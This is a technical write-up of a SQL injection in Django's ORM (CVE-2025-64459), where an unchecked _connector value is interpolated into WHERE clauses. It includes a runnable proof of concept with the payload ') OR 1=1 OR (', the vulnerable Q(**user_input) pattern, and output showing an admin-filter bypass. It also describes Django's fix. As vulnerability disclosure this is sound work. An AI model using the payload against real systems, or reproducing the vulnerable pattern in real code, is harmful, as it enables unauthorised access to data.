Technical Write-up: SQL Injection in Django ORM CVE-2025-64459

SQL injection in the Django ORM (CVE-2025-64459)

November 2025 · CVE-2025-64459 · Fixed in Django 5.2.8, 5.1.14, 4.2.26

Summary

Django’s WhereNode.as_sql formatted the query connector (AND / OR) into the generated SQL via unchecked %s string interpolation. Because the connector value is attacker-reachable through the _connector key of a Q object — and because the common pattern Q(**user_input) unpacks request dictionaries directly into Q — an attacker controlling any input that ends up in that dictionary can inject arbitrary SQL into a WHERE clause, bypassing ORM parameterization.

The bug

In django/db/models/sql/where.py, WhereNode.as_sql joined child clauses with the group’s connector like this:

conn = ' %s ' % self.connector

No validation on self.connector; whatever string it held went straight into the query. self.connector is populated from the _connector argument of the Q constructor, which is a documented feature for choosing between AND and OR grouping. The constructor accepts it as a regular keyword argument, which is where the trouble starts.

The vulnerable application pattern is common in JSON APIs that accept a dictionary of filters:

filter_dictionary = request.json.get('filters', {})
query = Q(**filter_dictionary)
results = User.objects.filter(query)

If the attacker controls filter_dictionary, they can set _connector to arbitrary SQL. It flows from Q‘s kwargs into self.connector, then into the query string via the %s above, appearing raw in the final WHERE clause.

Proof of concept

Vulnerable versions: Django 5.2 < 5.2.8, 5.1 < 5.1.14, 4.2 < 4.2.26. Set up a minimal project:

django-admin startproject sqli .
python manage.py startapp webapp

Add webapp to INSTALLED_APPS in sqli/settings.py and define a model with a privileged flag:

# webapp/models.py
from django.db import models

class User(models.Model):
    username = models.CharField(max_length=100)
    is_admin = models.BooleanField(default=False)

Then a management command that simulates a vulnerable API endpoint by unpacking an untrusted dictionary into Q:

# webapp/management/commands/poc.py
from django.core.management.base import BaseCommand
from django.db.models import Q
from webapp.models import User

def process_vulnerable_request(search_dict):
    # Unpacks a user-controlled dictionary directly into Q().
    query = Q(**search_dict)
    return User.objects.filter(query)

class Command(BaseCommand):
    def handle(self, *args, **options):
        User.objects.all().delete()
        User.objects.create(username="alice", is_admin=False)
        User.objects.create(username="root", is_admin=True)

        # Attacker-controlled JSON payload.
        payload = {
            "is_admin": False,
            "username": "nonexistent_user",
            "_connector": ") OR 1=1 OR (",
        }

        queryset = process_vulnerable_request(payload)
        sql, params = queryset.query.get_compiler(using='default').as_sql()

        self.stdout.write("Generated SQL:")
        self.stdout.write(sql % tuple(f"'{p}'" for p in params))
        self.stdout.write("\nResults:")
        for user in queryset:
            self.stdout.write(f"  {user.username} (admin={user.is_admin})")

Run it:

python manage.py makemigrations && python manage.py migrate
python manage.py poc

The generated SQL shows the payload interpolated directly into the WHERE clause:

SELECT "webapp_user"."id", "webapp_user"."username", "webapp_user"."is_admin"
FROM "webapp_user"
WHERE (NOT "webapp_user"."is_admin" ) OR 1=1 OR ( "webapp_user"."username" = 'nonexistent_user')

Results:
  alice (admin=False)
  root  (admin=True)

The is_admin=False filter is bypassed and the admin record is returned. Any model exposed through a similar Q(**user_input) pattern has the same exposure; the payload space is wider than the OR 1=1 demo here, since anything that parses as SQL in that position works.

The fix

Django’s patch is layered. At the low level, WhereNode.as_sql now validates self.connector against an allow-list of AND / OR / XOR before it’s formatted into the query — the core fix, and the one that closes the vulnerability regardless of how the bad value arrived.

At the high level, QuerySet.filter() / .exclude() and related kwargs-handling paths now reject _connector as a lookup key, which kills the most common exploit pattern (Q(**user_input)) before it reaches Q‘s constructor at all. Defense-in-depth rather than strictly necessary, but correct: the second layer catches the bug class even if a future refactor moves the first one.

Fixed in 5.2.8, 5.1.14, and 4.2.26. The advisory is on the Django security releases page.